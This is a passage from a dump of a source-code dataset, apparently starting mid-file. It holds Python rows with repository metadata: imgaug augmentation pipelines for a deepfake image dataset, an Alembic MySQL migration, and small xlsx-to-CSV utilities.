iaa.MaxPooling(kernel_size=(2, 5)),
iaa.MinPooling(kernel_size=(2, 5)),
iaa.MedianPooling(kernel_size=(2, 5)),
]),
# iaa.OneOf([ # hard
# iaa.Invert(p=0.5, per_channel=0.5),
# iaa.Solarize(p=0.5, threshold=(0, 255), per_channel=0.5),
# ]),
]),
# ===================
# weather
iaa.OneOf([
iaa.OneOf([
iaa.BlendAlpha((0.5, 0.7), foreground=iaa.imgcorruptlike.Fog(severity=(1, 2)), per_channel=True),
iaa.BlendAlpha((0.8, 0.9), foreground=iaa.imgcorruptlike.Frost(severity=(1, 1)), per_channel=True),
iaa.BlendAlpha((0.6, 0.8), foreground=iaa.Clouds()),
iaa.BlendAlpha((0.5, 0.7), foreground=iaa.Fog()),
]),
iaa.OneOf([
iaa.imgcorruptlike.Snow(severity=(1, 1)),
iaa.imgcorruptlike.Spatter(severity=(1, 2)),
iaa.Snowflakes(flake_size=(0.7, 0.95), speed=(0.001, 0.03), density=(0.005, 0.075),
density_uniformity=(0.3, 0.9)),
iaa.Rain(speed=(0.1, 0.3), nb_iterations=(1, 3), drop_size=(0.01, 0.02)),
]),
]),
], random_order=True),
])
return seq
def augmentation_lvl3():
seq = iaa.Sequential([
iaa.SomeOf((1, 2),[
# ===================
# Color
iaa.SomeOf((1, 3),[
# Hue
iaa.OneOf([
iaa.MultiplyHue((0.5, 1.5)),
iaa.AddToHue((-50, 50)),
iaa.ChangeColorTemperature((1000, 10000)),
iaa.Add(value=(-50, 50), per_channel=0.5),
iaa.Multiply(mul=(0.5, 1.5), per_channel=0.5),
iaa.pillike.EnhanceColor(factor=(1.0, 3.0)),
]),
# Saturation
iaa.OneOf([
iaa.MultiplySaturation((0.5, 1.5)),
iaa.AddToSaturation((-50, 50)),
iaa.imgcorruptlike.Saturate(severity=(1, 3)),
iaa.RemoveSaturation(),
iaa.Grayscale(alpha=(0.3, 1.0)),
]),
# Brightness
iaa.OneOf([
iaa.MultiplyBrightness((0.5, 1.5)),
iaa.AddToBrightness((-50, 50)),
iaa.pillike.EnhanceBrightness(factor=(0.5, 1.5)),
iaa.imgcorruptlike.Brightness(severity=(1, 3)),
]),
# Contrast
iaa.OneOf([
iaa.GammaContrast(gamma=(0.5, 2.0), per_channel=0.5),
iaa.SigmoidContrast(gain=(3, 10), cutoff=(0.4, 0.6), per_channel=0.5),
iaa.LogContrast(gain=(0.6, 1.4), per_channel=0.5),
iaa.LinearContrast(alpha=(0.5, 2.0), per_channel=0.5),
iaa.pillike.EnhanceContrast(factor=(0.5, 1.5)),
iaa.pillike.Autocontrast(cutoff=(10, 20), per_channel=0.5),
iaa.AllChannelsCLAHE(clip_limit=(1, 3), per_channel=0.5), # medium
# iaa.imgcorruptlike.Contrast(severity=(1, 3)), # for difficult
]),
], random_order=True),
iaa.OneOf([
# ===================
# Blur
iaa.OneOf([
iaa.OneOf([
iaa.GaussianBlur(sigma=(0.5, 2.0)),
iaa.AverageBlur(k=(2, 7)),
iaa.MedianBlur(k=(3, 9)),
iaa.imgcorruptlike.GaussianBlur(severity=(1, 2)),
iaa.pillike.FilterBlur(),
]),
iaa.OneOf([
iaa.imgcorruptlike.MotionBlur(severity=(1, 2)),
iaa.MotionBlur(k=(3, 7), angle=(0, 360), direction=(-1.0, 1.0)),
iaa.Alpha((0.01, 0.05), iaa.Canny(alpha=(0, 1)), iaa.MedianBlur((1, 5))),
iaa.imgcorruptlike.GlassBlur(severity=(1, 2)), # medium
iaa.imgcorruptlike.DefocusBlur(severity=(1, 2)), # medium
# iaa.imgcorruptlike.ZoomBlur(severity=(1, 1)) # hard
]),
]),
# ===================
# sharpen and edge
iaa.OneOf([
iaa.Sharpen(alpha=(0.1, 0.4), lightness=(0.75, 1.5)),
iaa.Canny(alpha=(0.05, 0.2),
colorizer=iaa.RandomColorsBinaryImageColorizer(color_true=255, color_false=0)),
iaa.Canny(alpha=(0.05, 0.2), sobel_kernel_size=[3, 7]),
iaa.Alpha(factor=(0.05, 0.2), first=iaa.Canny(alpha=1), second=iaa.MedianBlur(k=(1, 3)),
per_channel=0.5),
iaa.BlendAlpha((0.3, 0.6), foreground=iaa.Emboss(alpha=(0.5, 1.0), strength=(0.5, 1.0))),
iaa.BlendAlpha((0.01, 0.3), foreground=iaa.pillike.FilterContour()),
]),
]),
], random_order=True),
iaa.SomeOf((0, 2),[
# ===================
# image corrupt
iaa.OneOf([
iaa.OneOf([
iaa.MultiplyElementwise(mul=(0.1, 1.5), per_channel=0.5),
iaa.AdditiveGaussianNoise(loc=0, scale=(5, 20), per_channel=0.5),
iaa.AdditiveLaplaceNoise(loc=0, scale=(5, 20), per_channel=0.5),
iaa.AdditivePoissonNoise(lam=(5, 15), per_channel=0.5),
iaa.imgcorruptlike.ImpulseNoise(severity=(1, 3)),
iaa.Dropout(p=(0.01, 0.1), per_channel=0.5),
iaa.imgcorruptlike.GaussianNoise(severity=(1, 2)), # medium
iaa.imgcorruptlike.SpeckleNoise(severity=(1, 2)), # medium
# iaa.imgcorruptlike.ShotNoise(severity=(1, 2)), # hard
]),
iaa.OneOf([
iaa.BlendAlpha((0.4, 0.6), foreground=iaa.ElasticTransformation(alpha=(1, 4), sigma=(0.05, 0.1))),
# pixels move locally around (with random strengths)
iaa.imgcorruptlike.JpegCompression(severity=(1, 5)),
iaa.imgcorruptlike.Pixelate(severity=(2, 4)),
iaa.BlendAlpha((0.4, 0.8), foreground=iaa.imgcorruptlike.ElasticTransform(severity=(1, 1))),
iaa.UniformColorQuantization(n_colors=(2, 16)),
]),
iaa.OneOf([
iaa.CoarseDropout(p=(0.04, 0.08), size_percent=(0.05, 0.1), per_channel=0.5),
]),
iaa.OneOf([
iaa.Superpixels(p_replace=(0, 1.0), n_segments=(5000, 8000)), # hard
iaa.AveragePooling(kernel_size=(2, 4)),
iaa.MaxPooling(kernel_size=(2, 3)),
iaa.MinPooling(kernel_size=(2, 3)),
iaa.MedianPooling(kernel_size=(2, 3)),
]),
# iaa.OneOf([ # hard
# iaa.Invert(p=0.5, per_channel=0.5),
# iaa.Solarize(p=0.5, threshold=(0, 255), per_channel=0.5),
# ]),
]),
# ===================
# weather
iaa.OneOf([
iaa.OneOf([
iaa.BlendAlpha((0.6, 0.8), foreground=iaa.imgcorruptlike.Fog(severity=(1, 2)), per_channel=True),
iaa.BlendAlpha((0.8, 0.9), foreground=iaa.imgcorruptlike.Frost(severity=(1, 1)), per_channel=True),
iaa.BlendAlpha((0.6, 0.8), foreground=iaa.Clouds()),
iaa.BlendAlpha((0.6, 0.8), foreground=iaa.Fog()),
]),
iaa.OneOf([
iaa.imgcorruptlike.Snow(severity=(1, 2)),
iaa.imgcorruptlike.Spatter(severity=(1, 2)),
iaa.Snowflakes(flake_size=(0.7, 0.95), speed=(0.001, 0.03), density=(0.005, 0.075),
density_uniformity=(0.3, 0.9)),
iaa.Rain(speed=(0.1, 0.3), nb_iterations=(1, 3), drop_size=(0.01, 0.02)),
]),
]),
], random_order=True),
])
return seq
def augmentation_lvl4():
seq = iaa.Sequential([
iaa.SomeOf((1, 2),[
# ===================
# Color
iaa.SomeOf((1, 3),[
# Hue
iaa.OneOf([
iaa.MultiplyHue((0.5, 1.5)),
iaa.AddToHue((-50, 50)),
iaa.ChangeColorTemperature((1000, 10000)),
iaa.Add(value=(-50, 50), per_channel=0.5),
iaa.Multiply(mul=(0.5, 1.5), per_channel=0.5),
iaa.pillike.EnhanceColor(factor=(1.0, 3.0)),
]),
# Saturation
iaa.OneOf([
iaa.MultiplySaturation((0.5, 1.5)),
iaa.AddToSaturation((-50, 50)),
iaa.imgcorruptlike.Saturate(severity=(1, 3)),
iaa.RemoveSaturation(),
iaa.Grayscale(alpha=(0.3, 1.0)),
]),
# Brightness
iaa.OneOf([
iaa.MultiplyBrightness((0.5, 1.5)),
iaa.AddToBrightness((-50, 50)),
iaa.pillike.EnhanceBrightness(factor=(0.5, 1.5)),
iaa.imgcorruptlike.Brightness(severity=(1, 3)),
]),
# Contrast
iaa.OneOf([
iaa.GammaContrast(gamma=(0.5, 2.0), per_channel=0.5),
iaa.SigmoidContrast(gain=(3, 10), cutoff=(0.4, 0.6), per_channel=0.5),
iaa.LogContrast(gain=(0.6, 1.4), per_channel=0.5),
iaa.LinearContrast(alpha=(0.5, 2.0), per_channel=0.5),
iaa.pillike.EnhanceContrast(factor=(0.5, 1.5)),
iaa.pillike.Autocontrast(cutoff=(10, 20), per_channel=0.5),
iaa.AllChannelsCLAHE(clip_limit=(1, 3), per_channel=0.5), # medium
iaa.imgcorruptlike.Contrast(severity=(1, 3)), # for difficult
]),
], random_order=True),
iaa.OneOf([
# ===================
# Blur
iaa.OneOf([
iaa.OneOf([
iaa.GaussianBlur(sigma=(0.5, 2.0)),
iaa.AverageBlur(k=(3, 9)),
iaa.MedianBlur(k=(3, 9)),
iaa.imgcorruptlike.GaussianBlur(severity=(1, 2)),
iaa.pillike.FilterBlur(),
]),
iaa.OneOf([
iaa.imgcorruptlike.MotionBlur(severity=(1, 2)),
iaa.MotionBlur(k=(3, 7), angle=(0, 360), direction=(-1.0, 1.0)),
iaa.Alpha((0.01, 0.05), iaa.Canny(alpha=(0, 1)), iaa.MedianBlur((1, 5))),
iaa.imgcorruptlike.GlassBlur(severity=(1, 2)), # medium
iaa.imgcorruptlike.DefocusBlur(severity=(1, 2)), # medium
iaa.imgcorruptlike.ZoomBlur(severity=(1, 1)) # hard
]),
]),
# ===================
# sharpen and edge
iaa.OneOf([
iaa.Sharpen(alpha=(0.1, 0.4), lightness=(0.75, 1.5)),
iaa.Canny(alpha=(0.05, 0.2),
colorizer=iaa.RandomColorsBinaryImageColorizer(color_true=255, color_false=0)),
iaa.Canny(alpha=(0.05, 0.2), sobel_kernel_size=[3, 7]),
iaa.Alpha(factor=(0.05, 0.2), first=iaa.Canny(alpha=1), second=iaa.MedianBlur(k=(1, 3)),
per_channel=0.5),
iaa.BlendAlpha((0.3, 0.6), foreground=iaa.Emboss(alpha=(0.5, 1.0), strength=(0.5, 1.0))),
iaa.BlendAlpha((0.01, 0.3), foreground=iaa.pillike.FilterContour()),
]),
]),
], random_order=True),
iaa.Sequential([
# ===================
# image corrupt
iaa.OneOf([
iaa.OneOf([
iaa.MultiplyElementwise(mul=(0.5, 1.5), per_channel=0.5),
iaa.AdditiveGaussianNoise(loc=0, scale=(10, 20), per_channel=0.5),
iaa.AdditiveLaplaceNoise(loc=0, scale=(10, 20), per_channel=0.5),
iaa.AdditivePoissonNoise(lam=(5, 15), per_channel=0.5),
iaa.imgcorruptlike.ImpulseNoise(severity=(2, 3)),
iaa.Dropout(p=(0.05, 0.1), per_channel=0.5),
iaa.imgcorruptlike.GaussianNoise(severity=(2, 3)), # medium
iaa.imgcorruptlike.SpeckleNoise(severity=(2, 3)), # medium
iaa.imgcorruptlike.ShotNoise(severity=(1, 2)), # hard
iaa.CoarseDropout(p=(0.04, 0.08), size_percent=(0.05, 0.1), per_channel=0.5),
]),
iaa.OneOf([
iaa.BlendAlpha((0.4, 0.6), foreground=iaa.ElasticTransformation(alpha=(1, 4), sigma=(0.05, 0.1))),
# pixels move locally around (with random strengths)
iaa.imgcorruptlike.JpegCompression(severity=(1, 5)),
iaa.imgcorruptlike.Pixelate(severity=(2, 4)),
iaa.BlendAlpha((0.4, 0.8), foreground=iaa.imgcorruptlike.ElasticTransform(severity=(1, 1))),
iaa.UniformColorQuantization(n_colors=(2, 16)),
]),
iaa.OneOf([
iaa.Superpixels(p_replace=(0, 1.0), n_segments=(5000, 8000)), # hard
iaa.AveragePooling(kernel_size=(2, 4)),
iaa.MaxPooling(kernel_size=(2, 5)),
iaa.MinPooling(kernel_size=(2, 5)),
iaa.MedianPooling(kernel_size=(2, 5)),
]),
iaa.OneOf([ # hard
iaa.Invert(p=0.5, per_channel=0.5),
iaa.Solarize(p=0.5, threshold=(0, 255), per_channel=0.5),
]),
]),
# ===================
# weather
iaa.OneOf([
iaa.OneOf([
iaa.BlendAlpha((0.6, 0.9), foreground=iaa.imgcorruptlike.Fog(severity=(1, 2)), per_channel=True),
iaa.BlendAlpha((0.8, 0.9), foreground=iaa.imgcorruptlike.Frost(severity=(1, 1)), per_channel=True),
iaa.BlendAlpha((0.6, 0.9), foreground=iaa.Clouds()),
iaa.BlendAlpha((0.6, 0.9), foreground=iaa.Fog()),
]),
iaa.OneOf([
iaa.imgcorruptlike.Snow(severity=(1, 2)),
iaa.imgcorruptlike.Spatter(severity=(1, 2)),
iaa.Snowflakes(flake_size=(0.7, 0.95), speed=(0.001, 0.03), density=(0.005, 0.075),
density_uniformity=(0.3, 0.9)),
iaa.Rain(speed=(0.1, 0.3), nb_iterations=(1, 3), drop_size=(0.01, 0.02)),
]),
]),
], random_order=True),
])
return seq
##############
def augment_dataset(dir_input, dir_output, seq):
os.makedirs(dir_output, exist_ok=True)
files = os.listdir(dir_input)
files = [file for file in files if file[0] != '.']
files.sort()
for file in tqdm(files):
filename = os.path.splitext(os.path.basename(file))[0]
image = cv2.imread(os.path.join(dir_input, file))
image = image[:, :, [2, 1, 0]]
image = np.expand_dims(image, axis=0)
image_aug = seq(images=image)
image_aug = np.squeeze(image_aug, axis=0)
image_aug = image_aug[:, :, [2, 1, 0]]
cv2.imwrite(os.path.join(dir_output, filename + '.jpg'), image_aug, [int(cv2.IMWRITE_JPEG_QUALITY), 100])
if __name__ == '__main__':
seq = augmentation_lvl1()
augment_dataset(dir_input='/Users/ltnghia/Workplace/Projects/DeepFake/OpenForensics/Release/V.1.0/Visualization/Images/Val',
dir_output='/Users/ltnghia/Workplace/Projects/DeepFake/OpenForensics/Release/V.1.0/Visualization/Augmented_Images/Val',
seq=seq)
| 48.971831
| 139
| 0.459879
| 2,633
| 24,339
| 4.187619
| 0.090771
| 0.018683
| 0.057863
| 0.063124
| 0.919554
| 0.893978
| 0.879104
| 0.874388
| 0.859605
| 0.855433
| 0
| 0.0833
| 0.374584
| 24,339
| 496
| 140
| 49.070565
| 0.641046
| 0.072476
| 0
| 0.787129
| 0
| 0.004951
| 0.009795
| 0.008905
| 0
| 0
| 0
| 0
| 0
| 1
| 0.012376
| false
| 0
| 0.012376
| 0
| 0.034653
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
50faf80921dca34506b841f7d199e38f76281afc
| 5,549
|
py
|
Python
|
api/db/migrations/versions/796e284aa6dc_.py
|
bharadwaj-pendyala/opentestdata-api
|
ff388ff2dd6d43f45e11cb5689d06ba257b23f09
|
[
"MIT"
] | 15
|
2019-06-27T02:48:02.000Z
|
2020-11-29T09:01:29.000Z
|
api/db/migrations/versions/796e284aa6dc_.py
|
bharadwaj-pendyala/opentestdata-api
|
ff388ff2dd6d43f45e11cb5689d06ba257b23f09
|
[
"MIT"
] | 16
|
2019-07-26T19:51:55.000Z
|
2022-03-12T00:00:24.000Z
|
api/db/migrations/versions/796e284aa6dc_.py
|
bharadwaj-pendyala/opentestdata-api
|
ff388ff2dd6d43f45e11cb5689d06ba257b23f09
|
[
"MIT"
] | 7
|
2019-06-26T11:10:50.000Z
|
2020-09-04T08:52:58.000Z
|
"""
Revision ID: 796e284aa6dc
Revises: bb6244d75df4
Create Date: 2019-07-22 15:09:45.782251
"""
from alembic import op
import sqlalchemy as sa
from sqlalchemy.dialects import mysql
# revision identifiers, used by Alembic.
revision = '796e284aa6dc'
down_revision = 'bb6244d75df4'
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.alter_column('action', 'created_at',
existing_type=mysql.DATETIME(),
type_=sa.DateTime(timezone=True),
existing_nullable=False,
existing_server_default=sa.text('CURRENT_TIMESTAMP'))
op.alter_column('data', 'created_at',
existing_type=mysql.DATETIME(),
type_=sa.DateTime(timezone=True),
existing_nullable=False,
existing_server_default=sa.text('CURRENT_TIMESTAMP'))
op.alter_column('data', 'updated_at',
existing_type=mysql.DATETIME(),
type_=sa.DateTime(timezone=True),
existing_nullable=False,
existing_server_default=sa.text('CURRENT_TIMESTAMP'))
op.alter_column('ec_tokens', 'created_at',
existing_type=mysql.DATETIME(),
type_=sa.DateTime(timezone=True),
existing_nullable=False,
existing_server_default=sa.text('CURRENT_TIMESTAMP'))
op.alter_column('ec_tokens', 'token',
existing_type=mysql.VARCHAR(collation='utf8mb4_general_ci', length=16),
type_=sa.String(length=20),
existing_nullable=False)
op.alter_column('ec_tokens', 'updated_at',
existing_type=mysql.DATETIME(),
type_=sa.DateTime(timezone=True),
existing_nullable=False,
existing_server_default=sa.text('CURRENT_TIMESTAMP'))
op.alter_column('users', 'created_at',
existing_type=mysql.DATETIME(),
type_=sa.DateTime(timezone=True),
existing_nullable=False,
existing_server_default=sa.text('CURRENT_TIMESTAMP'))
op.alter_column('users', 'has_avatar',
existing_type=mysql.TINYINT(display_width=1),
type_=sa.Boolean(),
existing_nullable=True)
op.alter_column('users', 'is_admin',
existing_type=mysql.TINYINT(display_width=1),
type_=sa.Boolean(),
existing_nullable=True)
op.alter_column('users', 'is_email_confirmed',
existing_type=mysql.TINYINT(display_width=1),
type_=sa.Boolean(),
existing_nullable=True)
op.alter_column('users', 'updated_at',
existing_type=mysql.DATETIME(),
type_=sa.DateTime(timezone=True),
existing_nullable=False,
existing_server_default=sa.text('CURRENT_TIMESTAMP'))
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.alter_column('users', 'updated_at',
existing_type=sa.DateTime(timezone=True),
type_=mysql.DATETIME(),
existing_nullable=False,
existing_server_default=sa.text('CURRENT_TIMESTAMP'))
op.alter_column('users', 'is_email_confirmed',
existing_type=sa.Boolean(),
type_=mysql.TINYINT(display_width=1),
existing_nullable=True)
op.alter_column('users', 'is_admin',
existing_type=sa.Boolean(),
type_=mysql.TINYINT(display_width=1),
existing_nullable=True)
op.alter_column('users', 'has_avatar',
existing_type=sa.Boolean(),
type_=mysql.TINYINT(display_width=1),
existing_nullable=True)
op.alter_column('users', 'created_at',
existing_type=sa.DateTime(timezone=True),
type_=mysql.DATETIME(),
existing_nullable=False,
existing_server_default=sa.text('CURRENT_TIMESTAMP'))
op.alter_column('ec_tokens', 'updated_at',
existing_type=sa.DateTime(timezone=True),
type_=mysql.DATETIME(),
existing_nullable=False,
existing_server_default=sa.text('CURRENT_TIMESTAMP'))
op.alter_column('ec_tokens', 'token',
existing_type=sa.String(length=20),
type_=mysql.VARCHAR(collation='utf8mb4_general_ci', length=16),
existing_nullable=False)
op.alter_column('ec_tokens', 'created_at',
existing_type=sa.DateTime(timezone=True),
type_=mysql.DATETIME(),
existing_nullable=False,
existing_server_default=sa.text('CURRENT_TIMESTAMP'))
op.alter_column('data', 'updated_at',
existing_type=sa.DateTime(timezone=True),
type_=mysql.DATETIME(),
existing_nullable=False,
existing_server_default=sa.text('CURRENT_TIMESTAMP'))
op.alter_column('data', 'created_at',
existing_type=sa.DateTime(timezone=True),
type_=mysql.DATETIME(),
existing_nullable=False,
existing_server_default=sa.text('CURRENT_TIMESTAMP'))
op.alter_column('action', 'created_at',
existing_type=sa.DateTime(timezone=True),
type_=mysql.DATETIME(),
existing_nullable=False,
existing_server_default=sa.text('CURRENT_TIMESTAMP'))
# ### end Alembic commands ###
| 43.015504
| 86
| 0.612543
| 585
| 5,549
| 5.517949
| 0.14359
| 0.047708
| 0.0886
| 0.095415
| 0.916357
| 0.905204
| 0.905204
| 0.905204
| 0.881351
| 0.829926
| 0
| 0.016365
| 0.273202
| 5,549
| 128
| 87
| 43.351563
| 0.784032
| 0.05046
| 0
| 0.882883
| 0
| 0
| 0.124665
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.018018
| false
| 0
| 0.027027
| 0
| 0.045045
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0fae3eb4bfee61d9106620bacfa005dc4ccd136e
| 32
|
py
|
Python
|
molsysmt/native/io/card/ids/__init__.py
|
uibcdf/MolSysMT
|
9866a6fb090df9fff36af113a45164da4b674c09
|
[
"MIT"
] | 3
|
2020-06-02T03:55:52.000Z
|
2022-03-21T04:43:52.000Z
|
molsysmt/native/io/card/ids/__init__.py
|
uibcdf/MolSysMT
|
9866a6fb090df9fff36af113a45164da4b674c09
|
[
"MIT"
] | 28
|
2020-06-24T00:55:53.000Z
|
2021-07-16T22:09:19.000Z
|
molsysmt/native/io/card/ids/__init__.py
|
uibcdf/MolSysMT
|
9866a6fb090df9fff36af113a45164da4b674c09
|
[
"MIT"
] | 1
|
2021-06-17T18:55:25.000Z
|
2021-06-17T18:55:25.000Z
|
from .id_pdb import from_id_pdb
| 16
| 31
| 0.84375
| 7
| 32
| 3.428571
| 0.571429
| 0.5
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125
| 32
| 1
| 32
| 32
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
e85e361136aae2fad78466f0643c4dd3aea5c690
| 1,922
|
py
|
Python
|
storage/app/templates/1/python/utils/readxlxs.py
|
maep-tools/maep-backend
|
1114995be4b423d64a8621b7703ef22d6ddb741e
|
[
"MIT"
] | 1
|
2018-08-17T00:11:56.000Z
|
2018-08-17T00:11:56.000Z
|
storage/app/templates/1/python/utils/readxlxs.py
|
maep-tools/backend
|
1114995be4b423d64a8621b7703ef22d6ddb741e
|
[
"MIT"
] | null | null | null |
storage/app/templates/1/python/utils/readxlxs.py
|
maep-tools/backend
|
1114995be4b423d64a8621b7703ef22d6ddb741e
|
[
"MIT"
] | null | null | null |
# read data from xlsx and save data in a csv file
def xlxstocsv( tabnames, substring, importedfile ):
import csv
for num in tabnames:
if num.find(substring) > -1:
sheet=importedfile.get_sheet_by_name(num)
name = "temp/" + num + ".csv"
with open(name, 'w', newline='') as file:
savefile = csv.writer(file)
for i in sheet.rows:
savefile.writerow([cell.value for cell in i])
# read data from xlsx and save data in a csv file
def xlxstocsvW10( tabnames, substring, importedfile ):
import csv
for num in tabnames:
if num.find(substring) > -1:
sheet=importedfile.get_sheet_by_name(num)
name = "datasystem/windminutes/" + num + ".csv"
with open(name, 'w', newline='') as file:
savefile = csv.writer(file)
for i in sheet.rows:
savefile.writerow([cell.value for cell in i])
# read data from xlsx and save data in a csv file
def xlxstocsvres( tabnames, substring, importedfile ):
import csv
for num in tabnames:
if num.find(substring) > -1:
sheet=importedfile.get_sheet_by_name(num)
name = "results/csv_variables/" + num + ".csv"
with open(name, 'w', newline='') as file:
savefile = csv.writer(file)
for i in sheet.rows:
savefile.writerow([cell.value for cell in i])
# read data from xlsx and save data in a csv file
def xlxstocsvsaved( tabnames, substring, importedfile ):
import csv
for num in tabnames:
if num.find(substring) > -1:
sheet=importedfile.get_sheet_by_name(num)
name = "saved_simulations/csvreports/" + num + ".csv"
with open(name, 'w', newline='') as file:
savefile = csv.writer(file)
for i in sheet.rows:
savefile.writerow([cell.value for cell in i])
| 33.719298
| 61
| 0.596774
| 253
| 1,922
| 4.478261
| 0.189723
| 0.028244
| 0.042365
| 0.056487
| 0.896734
| 0.896734
| 0.896734
| 0.896734
| 0.896734
| 0.896734
| 0
| 0.004471
| 0.301769
| 1,922
| 57
| 62
| 33.719298
| 0.839791
| 0.099376
| 0
| 0.8
| 0
| 0
| 0.057358
| 0.042874
| 0
| 0
| 0
| 0
| 0
| 1
| 0.1
| false
| 0
| 0.3
| 0
| 0.4
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.